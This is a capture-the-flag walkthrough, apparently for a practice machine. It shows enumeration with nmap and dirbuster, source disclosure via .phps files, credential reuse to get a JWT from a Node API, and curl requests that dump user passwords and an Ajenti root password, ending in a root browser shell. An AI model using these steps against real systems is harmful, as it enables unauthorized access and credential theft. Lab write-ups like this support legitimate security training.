The initial nmap scan revealed a bunch of open ports:
# nmap 10.10.10.137 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-20 06:43 EDT Nmap scan report for 10.10.10.137 Host is up (0.022s latency). Not shown: 995 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 3000/tcp open ppp 8000/tcp open http-alt
The FTP server on port tcp/21 allows anonymous connections. There is only one file on it:
# cat for_Chihiro.txt Dear Chihiro !! As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of the actual website I've created . Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! Derry
The web application on port tcp/80 appears to be a very simple static page without much functionality.
Port tcp/3000 looks like some sort of API that requires authentication.
And tcp/8000 is running Ajenti, a server administration panel which also requires credentials.
Using dirbuster on port tcp/80 the following paths are found (among others):
/login.php /management
The /management folder requires credentials that we do not have yet. With the hint from the file from the FTP server we notice that it’s possible to see the source code by requesting the file with the phps extension. At the very top, login.php references config.php:
And config.php reveals the password for a MySQL database:
Using dirbuster on port tcp/3000 the following paths are found (among others):
/login /users /users/admin
Requesting / tells us that a token is required:
# curl http://10.10.10.137:3000/ {"success":false,"message":"Auth token is not supplied"}
Since there is a /login endpoint we try to send data to it. Trying to send broken JSON to it reveals an error message:
# curl 'http://10.10.10.137:3000/login' -X POST -d '{ x }' -H "Content-Type: application/json" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>SyntaxError: Unexpected token x in JSON at position 2 at JSON.parse (<anonymous>) at parse (/nodeapp/node_modules/body-parser/lib/types/json.js:89:19) at /nodeapp/node_modules/body-parser/lib/read.js:121:18 at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16) at done (/nodeapp/node_modules/raw-body/index.js:213:7) at IncomingMessage.onEnd (/nodeapp/node_modules/raw-body/index.js:273:7) at IncomingMessage.emit (events.js:202:15) at endReadableNT (_stream_readable.js:1132:12) at processTicksAndRejections (internal/process/next_tick.js:76:17)</pre> </body> </html>
That means that it probably expects JSON. Simply by guessing we try the password extracted from config.php and the username admin from the /users/admin endpoint:
# curl 'http://10.10.10.137:3000/login' -X POST -d '{ "username": "admin", "password": "Zk6heYCyv6ZE9Xcg"}' -H "Content-Type: application/json" {"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI4MTE0LCJleHAiOjE1NjExMTQ1MTR9.e3YkeFLe6xwmsUyZMXC_bMRTjEDNt7fTR9mZTlMg5Dk"}
This returns a token, with that we can request /users which reveals a list of users:
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users | jq . [ { "ID": "1", "name": "Admin", "Role": "Superuser" }, { "ID": "2", "name": "Derry", "Role": "Web Admin" }, { "ID": "3", "name": "Yuri", "Role": "Beta Tester" }, { "ID": "4", "name": "Dory", "Role": "Supporter" } ]
And now we can request details of each user which reveals a password for every account:
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/admin | jq . { "name": "Admin", "password": "WX5b7)>/rp$U)FW" } # curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/derry | jq . { "name": "Derry", "password": "rZ86wwLvx7jUxtch" } # curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/yuri | jq . { "name": "Yuri", "password": "bet@tester87" } # curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/dory | jq . { "name": "Dory", "password": "5y:!xa=ybfe)/QD" }
Trying those accounts on the remaining protected areas, we figure out that the Derry account works on the /management folder on port tcp/80. In that folder are 3 files, 2 of which we already know:
config.json config.php login.php
Requesting config.json reveals some Ajenti configuration:
# curl 'http://Derry:rZ86wwLvx7jUxtch@10.10.10.137/management/config.json' { "users": { "root": { "configs": { "ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", "ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", "ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", "ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", "ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", "ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", "ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", "ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", "ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", "ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", "ajenti.users.UserManager": "{\"sync-provider\": \"\"}", "ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", "ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", "ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}" }, "password": "KpMasng6S5EtTy9Z", "permissions": [] } }, "language": "", "bind": { "host": "0.0.0.0", "port": 8000 }, "enable_feedback": true, "ssl": { "enable": false, "certificate_path": "" }, "authentication": true, "installation_id": 12354 }
And among that also a new password. With this password and the username root we can now finally login at port tcp/8000:
That system helpfully contains a “Terminal” feature. Creating a new session for it, creates a shell in our browser with root privileges. With that we can get both flags: